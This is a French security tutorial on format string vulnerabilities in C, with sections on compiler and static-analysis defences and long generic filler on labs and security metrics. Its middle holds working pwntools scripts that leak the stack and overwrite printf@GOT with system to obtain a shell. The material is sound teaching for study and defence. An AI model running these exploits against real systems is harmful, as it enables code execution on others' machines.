Les vulnérabilités de format string constituent un classique de l'exploitation binaire : apparues dans les années 2000, elles demeurent parfaitement d'actualité en 2026. La faille survient lorsqu'une entrée contrôlée par l'attaquant est passée comme premier argument à une fonction de formatage — printf, sprintf, fprintf ou syslog — sans spécificateur de format explicite. Le programme interprète alors les données utilisateur comme une chaîne de format, ce qui ouvre deux primitives redoutables : la lecture arbitraire de la mémoire via %x, %s ou %p, et l'écriture arbitraire via %n. Maîtriser la format string exploitation printf revient donc à transformer un simple crash en contrôle total du flux d'exécution. Malgré les protections modernes (ASLR, PIE, RELRO complet, FORTIFY_SOURCE), ces bugs ressurgissent dans le code embarqué, les firmwares et les projets legacy, où ils mènent encore à une exécution de code à distance.

En bref

  • printf(user_input) sans format string fixe = lecture ET écriture arbitraire de la mémoire
  • %x/%p leak la stack (canary, adresses libc/PIE pour bypass ASLR), %n écrit en mémoire
  • GOT overwrite via %n : remplacer printf@GOT par system pour obtenir RCE
  • Full RELRO bloque le GOT overwrite — cibler l'adresse de retour ou les hooks malloc
  • Wformat-security -Werror et FORTIFY_SOURCE détectent et bloquent les format strings vulnérables
\

En bref

  • Mécanisme : printf sans format string = lecture/écriture arbitraire de la mémoire
  • Lecture stack : %x, %p pour leak d'adresses (bypass ASLR, canary leak)
  • Écriture mémoire : %n/%hn pour écrire à des adresses contrôlées (GOT overwrite)
  • Exploitation moderne : format string + ROP chain sur systèmes avec full RELRO et PIE
  • Contre-mesures : -Wformat, -Wformat-security, FORTIFY_SOURCE et audit de code
\
Format String Vulnerability — Vulnérabilité qui survient quand une entrée utilisateur est passée directement comme format string à une fonction de la famille printf. L'attaquant contrôle les spécificateurs de format (%x, %s, %n) et peut lire la stack, lire la mémoire arbitraire et écrire à des adresses arbitraires.
\

Mécanisme de Base : printf et la Stack

\

Les fonctions printf en C utilisent des arguments variadiques : elles lisent les arguments depuis la stack (ou les registres sur x64) selon les spécificateurs de format. Si l'attaquant contrôle la format string, il peut :

\ 
// CODE VULNÉRABLE\ char user_input[256];\ fgets(user_input, sizeof(user_input), stdin);\ printf(user_input); // ❌ VULNÉRABLE — l'utilisateur contrôle le format\ \ // CODE CORRIGÉ\ printf("%s", user_input); // ✅ SÉCURISÉ — format string fixe\ \ // Exploitation :\ // Input: "%x.%x.%x.%x" → lit 4 valeurs de la stack\ // Input: "%s" → lit une string à l'adresse pointée par le prochain arg stack\ // Input: "%n" → ÉCRIT le nombre de caractères imprimés à l'adresse stack\ // Input: "AAAA%7$n" → Écrit à l'adresse 0x41414141 (si AAAA est au 7ème arg)
\

Lecture de la Stack : Leak d'Informations

\

Les spécificateurs %x (hex 32-bit), %p (pointer), %lx (hex 64-bit) et %s (string) permettent de lire le contenu de la stack. En itérant les positions (%1$x, %2$x, %3$x...), l'attaquant reconstruit l'intégralité de la stack et extrait :

⚡

Retour terrain

Dans les projets techniques complexes, j'ai appris à toujours commencer par auditer la documentation existante plutôt que l'infrastructure elle-même. Dans 80 % des cas, le delta entre la documentation et la réalité est la source première de risques. Une infrastructure bien documentée qui ne correspond pas à la réalité est plus dangereuse qu'une infrastructure sans documentation — parce qu'elle induit une fausse confiance.

\
    \
  • Adresses de retour : leak des adresses de la stack et du code pour bypass ASLR
    • \
  • Stack canary : leak de la valeur canary pour bypass stack protection
    • \
  • Adresses libc : calcul de l'adresse de base de la libc pour les attaques ret2libc/ROP
    • \
  • PIE base : leak d'adresses du binaire pour bypass PIE
    • \
\ 
#!/usr/bin/env python3\ # Leak automatisé via format string\ from pwn import *\ \ elf = ELF('./vuln')\ p = process('./vuln')\ \ # Itérer les positions de la stack pour trouver des adresses intéressantes\ for i in range(1, 30):\  p.sendline(f'%{i}$p'.encode())\  leak = p.recvline().strip()\  print(f"Position {i:2d}: {leak}")\  # Identifier les adresses : stack, libc, PIE, canary\  # Canary: typiquement se termine par 0x00 (null byte)\  # Libc: commence par 0x7f sur x64\  # PIE: correspond à la plage du binaire
\

Écriture Mémoire : Le Spécificateur %n

\

Le spécificateur %n écrit le nombre de caractères imprimés jusqu'à ce point à l'adresse pointée par l'argument correspondant. Avec un contrôle sur la format string ET la possibilité de placer une adresse sur la stack, l'attaquant peut écrire n'importe quelle valeur à n'importe quelle adresse :

\ 
# GOT Overwrite via format string (x64, pwntools)\ from pwn import *\ \ elf = ELF('./vuln')\ p = process('./vuln')\ \ # Cible : écraser l'entrée GOT de printf par l'adresse de system\ # printf@GOT sera appelé avec l'argument contrôlé → system(user_input)\ \ got_printf = elf.got['printf'] # Adresse de printf dans la GOT\ system_addr = elf.symbols['system'] # Adresse de system (si no-PIE)\ \ # Utiliser %hn (half-word write, 2 octets) pour écrire adresse par morceaux\ # %hn écrit les 2 octets inférieurs du compteur de caractères\ \ # Construction du payload avec pwntools fmtstr_payload\ payload = fmtstr_payload(\  offset=7, # Position de notre input sur la stack\  writes={got_printf: system_addr}, # Quoi écrire où\  numbwritten=0, # Caractères déjà imprimés\  write_size='short' # Utiliser %hn (2 octets) au lieu de %n (4)\ )\ \ p.sendline(payload)\ # Au prochain appel printf(user_input) → system(user_input)\ p.sendline(b'/bin/sh')\ p.interactive()
\

Exploitation Moderne : Full RELRO et PIE

\

Sur les systèmes modernes avec Full RELRO (GOT read-only), PIE (binaire à position indépendante) et ASLR, l'exploitation format string nécessite une approche en deux étapes :

\
    \
  1. Étape 1 — Information Leak : utiliser %p pour leak les adresses stack, libc et PIE base. Calculer les adresses de gadgets ROP et de system/execve.
    2. \
  2. Étape 2 — Exploitation : avec les adresses connues, écraser l'adresse de retour sur la stack (via %n) avec une ROP chain, ou écraser un pointeur de fonction (hook malloc, __free_hook avant glibc 2.34, etc.).
    3. \
\

Format String sur le Heap

\

Les format strings ne sont pas toujours sur la stack — parfois le buffer est alloué sur le heap (malloc). Dans ce cas, l'attaquant ne peut pas placer d'adresses directement accessibles via les spécificateurs %n. La technique consiste à trouver des pointeurs sur la stack qui pointent vers d'autres pointeurs (chaîne de pointeurs) et à utiliser %n en deux passes : d'abord modifier le pointeur intermédiaire, puis utiliser ce pointeur modifié pour écrire à l'adresse cible.

\

Contre-mesures de Compilation

\
    \
  • -Wformat -Wformat-security : avertissements à la compilation pour les format strings non constantes
    • \
  • -Werror=format-security : transforme l'avertissement en erreur (empêche la compilation)
    • \
  • -D_FORTIFY_SOURCE=2 : remplace printf par __printf_chk qui détecte les %n dans les format strings writables
    • \
  • Audit de code : rechercher tous les appels printf/sprintf/syslog avec un premier argument non-constant
    • \
  • Fuzzing : les fuzzers (AFL++, libFuzzer) détectent les crashes format string automatiquement
    • \
\
? Conseil pratique — Pour rechercher les vulnérabilités format string dans du code C/C++, utilisez grep -rn 'printf(\\\\s*[a-z]' src/ pour trouver les appels printf dont le premier argument est une variable. L'outil cppcheck et Coverity détectent automatiquement les format strings non sécurisées. En CTF, pwntools fournit fmtstr_payload() pour générer automatiquement les payloads d'écriture %n.
\

À retenir

  • printf(user_input) sans format string fixe = lecture ET écriture arbitraire de la mémoire
  • %x/%p leak la stack (canary, adresses libc/PIE pour bypass ASLR), %n écrit en mémoire
  • GOT overwrite via %n : remplacer printf@GOT par system pour obtenir RCE
  • Full RELRO bloque le GOT overwrite — cibler l'adresse de retour ou les hooks malloc
  • -Wformat-security -Werror et FORTIFY_SOURCE détectent et bloquent les format strings vulnérables
\

FAQ — Questions Fréquentes

\
\

Les format strings sont-elles encore pertinentes en 2026 ?

Oui, les vulnérabilités format string sont toujours trouvées dans les firmwares IoT, les logiciels embarqués, les applications legacy C/C++, et les outils système. Bien que les compilateurs modernes émettent des avertissements, beaucoup de code est compilé sans -Wformat-security. De plus, les format strings sont un exercice fondamental pour comprendre la manipulation de la stack et les primitifs d'exploitation.

\

Quelle est la différence entre %n et %hn ?

%n écrit un int (4 octets) — le nombre total de caractères imprimés. %hn écrit un short (2 octets) — les 16 bits inférieurs du compteur. %hhn écrit un byte (1 octet). %hn est préféré car écrire 2 octets nécessite de imprimer au maximum 65535 caractères, alors que %n peut nécessiter des milliards de caractères pour écrire une adresse 64-bit.

\

FORTIFY_SOURCE bloque-t-il toutes les attaques format string ?

FORTIFY_SOURCE (niveau 2) remplace printf par __printf_chk qui détecte les %n dans les format strings writables (non constantes). Il bloque l'écriture mémoire via %n mais ne bloque pas la lecture (%x, %p, %s). Un attaquant peut toujours leak des informations sensibles (ASLR bypass, canary leak) même avec FORTIFY_SOURCE.

\
\
Primitives, protections et exploitation des vulnérabilités format string en 2026
SpécificateurPrimitive obtenueUsage offensif typiqueProtection efficaceContournement 2026
%x / %pLecture séquentielle de la stackLeak du canary et des adresses libc/PIEASLR + PIELeak dynamique puis calcul des offsets en une passe
%sLecture arbitraire (déréférencement)Dump de la GOT, de secrets ou de clés en mémoireRELRO complet (GOT en lecture seule)Cible alternative : hooks, vtables, pointeurs de la stack
%n / %hn / %hhnÉcriture arbitraire (4/2/1 octet)GOT overwrite, écrasement de saved RIPFORTIFY_SOURCE=2 (%n en zone writable interdit)Écriture octet par octet vers une cible non protégée
%N$p (positionnel)Accès direct au N-ième argumentLeak ciblé sans padding, réduction de la charge utileValidation stricte des entréesIndices élevés pour atteindre des frames profondes
%c avec largeurContrôle précis du compteur d'octetsConstruction de la valeur à écrire via %nLimitation de la taille des buffers de sortieDécoupage de l'écriture en plusieurs passes %hhn
Chaîne en mémoire (heap/env)Adressage de cibles hors stackPivot vers ROP, écrasement de __malloc_hook / exit handlersNX + CFI / Shadow StackChaîne ROP construite depuis les gadgets libc leakés
syslog(user_input)Format string déportée en loggingRCE sur firmwares et équipements embarqués legacy-Wformat-security à la compilation, SASTBinaires anciens recompilés sans les flags de durcissement

Conclusion

Ce sujet s'inscrit dans un contexte de menaces en constante évolution. La meilleure protection combine veille active, audits réguliers et sécurité by design. Pour approfondir ou évaluer votre exposition, consultez nos experts.

Besoin d'un accompagnement expert ?

Nos consultants spécialisés en sécurité applicative et audit de code vous accompagnent dans l'évaluation de votre posture de sécurité.

Contactez-nous
\
Article recommandé : Covert Channels Réseau : Stéganographie et Exfiltration
\

? Articles connexes

\

? Références externes

\

Exploitation des format strings dans les environnements durcis modernes

Les vulnérabilités de format string persistent en 2026 dans des contextes spécifiques : les firmwares embarqués compilés sans ASLR, les applications legacy C/C++ maintenues sur des OS sans DEP/NX activé, et certains modules noyau de systèmes temps-réel. Dans ces contextes, l'exploitation moderne d'une format string combine les techniques classiques (lecture arbitraire via %s, écriture via %n) avec des approches de bypass des mitigations partielles.

Le bypass de l'ASLR partielle dans les environnements contraints s'effectue via une fuite d'adresses par format string (leak de pointeurs de stack pour calculer les offsets), suivi d'une écriture ciblée. La technique du "GOT overwrite" reste viable sur les binaires compilés sans RELRO complet. Les outils de développement modernes (GCC 13+, Clang 16+) activent par défaut les warnings `-Wformat-security` et `-Werror=format-security`, rendant les nouvelles vulnérabilités de format string rares dans le code maintenu activement — mais le legacy code reste une surface d'attaque significative dans les parcs industriels et les systèmes embarqués non mis à jour.

La prévention des vulnérabilités de format string dans les nouvelles bases de code repose sur l'adoption systématique de pratiques de codage sécurisé et d'outils d'analyse statique. En C, la règle absolue est de ne jamais passer une chaîne utilisateur directement comme chaîne de format — utiliser toujours `printf("%s", user_input)` plutôt que `printf(user_input)`. En C++, préférer les streams (iostream) ou les bibliothèques modernes comme `fmtlib` (intégrée dans C++20 via `std::format`) qui sont immunisées par conception contre les format string attacks.

Les outils d'analyse de code statique comme Semgrep avec les règles `c.lang.security.format-string` ou CodeQL avec les requêtes de taint analysis permettent de détecter automatiquement les patterns dangereux dans les bases de code existantes. L'intégration de ces scans dans les pipelines CI/CD — avec blocage du merge si des patterns de format string dangereux sont détectés — est la mesure préventive la plus efficace pour les nouvelles contributions. Pour le code legacy, un audit progressif priorisé par les points d'entrée (surfaces exposées aux données utilisateur non fiables) permet de résorber la dette technique sécurité de manière ordonnée.

\
Ayi NEDJIMI
\

Besoin d'un expert cybersécurité ?

\

Audit, pentest, formation, IA — plus de 25 ans d'expérience, 100+ missions réalisées.

\ \
\

Environnement de test et laboratoire pratique

La maîtrise des techniques de sécurité offensive et défensive requiert un environnement de pratique dédié. L'installation d'un laboratoire virtuel sur votre poste (VMware Workstation, VirtualBox, ou Proxmox pour une infrastructure plus élaborée) permet de tester les concepts présentés dans cet article sans risque pour les systèmes de production.

Configuration recommandée du lab

Pour reproduire les scénarios décrits, une configuration minimale comprend : un hyperviseur disposant d'au moins 16 Go de RAM et 4 cœurs CPU, un réseau virtuel isolé (host-only ou internal network sans accès Internet pour les VMs malveillantes), et un snapshot de base avant chaque manipulation pour faciliter le retour arrière. Les distributions spécialisées Kali Linux (offensive) et Parrot OS Security Edition couvrent l'ensemble des outils nécessaires sans configuration manuelle. Pour l'aspect défensif, Security Onion déploie en une seule VM un stack complet (Zeek, Suricata, Elasticsearch, Kibana) qui permet de visualiser l'impact des techniques testées.

Ressources de formation complémentaires

Les plateformes d'entraînement permettent de consolider la pratique dans des environnements légaux et structurés. HackTheBox et TryHackMe proposent des machines virtuelles sur lesquelles appliquer les techniques décrites, avec des difficultés progressives adaptées aux débutants comme aux experts. Pour les scénarios d'entreprise (Active Directory, Cloud, applications web complexes), les labs Pro de HackTheBox ou les modules DFIR/SOC de Blue Team Labs Online offrent des cas réalistes. Les CTF compétitifs (Hack The Box CTF, DEFCON CTF, PicoCTF) développent la créativité et l'adaptabilité face à des challenges inédits. La régularité de pratique (1-2 heures hebdomadaires minimum) prime sur l'intensité ponctuelle pour développer des réflexes durables.

Indicateurs de maturité et métriques de sécurité

Mesurer l'efficacité des mesures de sécurité implémentées est indispensable pour justifier les investissements et guider les priorités. Les métriques suivantes constituent un tableau de bord de sécurité applicable aux organisations de toutes tailles.

Métriques de couverture et de détection

Les indicateurs clés à suivre mensuellement : taux de couverture MITRE ATT&CK (pourcentage des techniques adversariales couvertes par des règles de détection actives) ; Mean Time To Detect (MTTD) pour les incidents de sécurité confirmés ; Mean Time To Respond (MTTR) depuis l'alerte jusqu'à la résolution ; taux de faux positifs sur les alertes SIEM (objectif : moins de 5% pour les règles de haute priorité) ; pourcentage de systèmes avec agents EDR installés et actifs (objectif : 100% des endpoints gérés). Ces métriques, compilées dans un rapport mensuel pour la direction, permettent de démontrer la valeur des investissements sécurité et d'identifier les domaines nécessitant des ressources supplémentaires.

Amélioration continue par les exercices

Les organisations les plus matures en matière de cybersécurité organisent régulièrement des exercices pour tester et améliorer leurs capacités. Les exercices tabletop (simulation de crise sur table, sans activation des systèmes techniques) développent la coordination des équipes et valident les procédures de communication de crise. Les tests de pénétration (pentest) annuels fournissent une évaluation objective de la résistance technique de l'infrastructure. Les exercices Red/Blue/Purple Team (1-2 fois par an pour les organisations matures) permettent d'aligner les équipes offensive et défensive autour d'objectifs communs d'amélioration. Chaque exercice doit donner lieu à un plan d'action formalisé avec des jalons de correction mesurables, intégré dans la feuille de route sécurité de l'organisation.

Synthèse et perspectives 2026

Les techniques et recommandations présentées dans ce guide s'inscrivent dans un contexte de menaces en constante évolution. La cybersécurité offensive et défensive sont deux faces d'une même médaille : comprendre les mécanismes d'attaque est indispensable pour construire des défenses robustes et résilientes face aux acteurs malveillants les plus sophistiqués.

Pour les équipes sécurité, l'enjeu de 2026 est double : maintenir une veille continue sur les nouvelles techniques publiées par la communauté de recherche (CVE, exploit-db, GitHub, Secrech, SSTIC) tout en assurant le durcissement progressif de l'infrastructure existante. Le référentiel MITRE ATT&CK reste le fil conducteur le plus efficace pour structurer un programme de détection et de réponse face aux tactiques, techniques et procédures des groupes APT ciblant les secteurs critiques.

La formation continue des équipes, la simulation régulière d'incidents (exercices tabletop, exercices Red/Blue/Purple Team), et l'automatisation des tâches répétitives via des outils SOAR constituent les piliers d'une organisation cyber mature. Les organisations qui investissent dans ces trois axes démontrent systématiquement de meilleures métriques de détection et de réponse (MTTD et MTTR réduits de 40% en moyenne selon les benchmarks sectoriels) face aux incidents de sécurité.

Checklist de mise en œuvre et points de contrôle

La mise en pratique des recommandations de cet article nécessite une approche structurée. Cette checklist synthétise les points de contrôle essentiels pour évaluer l'état d'avancement de votre déploiement et identifier les actions prioritaires.

Phase de préparation et d'inventaire

Avant toute action technique, constituer un inventaire précis est indispensable. Les éléments à recenser : cartographie exhaustive des actifs concernés (systèmes, applications, flux de données) avec leur criticité métier associée ; identification des propriétaires techniques et fonctionnels pour chaque actif ; évaluation du niveau de maturité actuel à partir des référentiels reconnus (CIS Controls, ISO 27001, NIST CSF) ; et documentation des dépendances entre composants pour anticiper les impacts des modifications. Un inventaire incomplet génère des angles morts qui deviennent des vecteurs d'attaque exploitables par des acteurs malveillants disposant d'informations accessibles publiquement (OSINT, Shodan, LinkedIn).

Phase de déploiement et validation

Le déploiement progressif réduit les risques d'interruption de service et facilite la détection des régressions. Adopter un modèle de déploiement par vagues (wave deployment) : d'abord les environnements de développement et de test pour valider les configurations, ensuite les systèmes non-critiques en production, enfin les systèmes critiques lors de fenêtres de maintenance planifiées. Chaque vague s'accompagne d'une validation fonctionnelle complète et d'une période d'observation des métriques de performance et de sécurité. Un plan de retour arrière documenté et testé est obligatoire avant toute opération sur un système critique. Les critères de succès doivent être définis avant le déploiement, non après — un taux de faux positifs inférieur à 5% pour les alertes de sécurité, une disponibilité maintenue au niveau SLA contractuel, et l'absence d'incidents de sécurité liés aux modifications.

Phase de supervision et d'amélioration continue

La mise en place d'indicateurs de suivi permet de mesurer l'efficacité des mesures déployées et de justifier leur maintien auprès de la direction. Tableau de bord mensuel recommandé : nombre d'alertes générées par catégorie (critique, majeur, mineur) avec tendance sur 6 mois ; taux de couverture des actifs critiques par les contrôles de sécurité ; délai moyen de remédiation des vulnérabilités par sévérité CVSS ; et résultats des tests de régression mensuels sur les règles de détection. Ce tableau de bord, présenté en comité de sécurité, constitue la base d'un dialogue constructif entre les équipes techniques et le management sur les priorités d'investissement en cybersécurité.

Ressources, outils et veille spécialisée

L'efficacité opérationnelle des équipes de sécurité repose sur la maîtrise des outils adaptés et sur une veille continue sur les évolutions techniques et réglementaires du domaine. Ce panorama recense les ressources incontournables pour approfondir les sujets abordés dans cet article.

Outils open source recommandés

L'écosystème open source de la cybersécurité offre des outils de qualité professionnelle, souvent comparables voire supérieurs aux solutions commerciales sur des cas d'usage spécifiques. Pour la détection et la réponse à incident : OSSEC/Wazuh (HIDS/XDR open source déployé sur plus de 500 000 systèmes), TheHive et Cortex (orchestration et automatisation de la réponse à incident), MISP (partage de threat intelligence, utilisé par plus de 6 000 organisations mondiales). Pour l'analyse forensique : Autopsy (interface graphique pour Sleuth Kit, analyse disque), Volatility 3 (analyse mémoire vive), YARA (création de règles de détection de malwares). Pour l'audit d'infrastructure : OpenSCAP (compliance scanning automatisé), Lynis (audit de durcissement Linux), BloodHound (cartographie des chemins d'attaque Active Directory). Ces outils, maintenus par des communautés actives et adoptés par les grandes entreprises et agences gouvernementales, constituent le socle technique des équipes SOC modernes.

Sources de veille et formation continue

La cybersécurité évolue à un rythme qui impose une veille structurée pour maintenir l'efficacité des défenses. Les sources primaires à surveiller : CERT-FR (bulletins d'alerte et de sensibilisation de l'ANSSI, à intégrer dans les flux de veille en priorité) ; NVD et CISA KEV (catalogue des CVE et des vulnérabilités activement exploitées) ; Microsoft MSRC, Google Project Zero et Cisco Talos (recherche offensive et advisories éditeurs) ; et les publications académiques des conférences SSTIC (France), USENIX Security, IEEE S&P et CCS. Pour la montée en compétences des équipes, les certifications SANS GIAC (GCIH, GPEN, GCFA) offrent le meilleur équilibre entre reconnaissance professionnelle et valeur pratique. Les plateformes d'entraînement TryHackMe et HackTheBox permettent une pratique régulière sur des scénarios réalistes sans risque légal, avec des modules spécifiques adaptés aux profils défensifs (Blue Team Labs) et offensifs (HTB Pro Labs).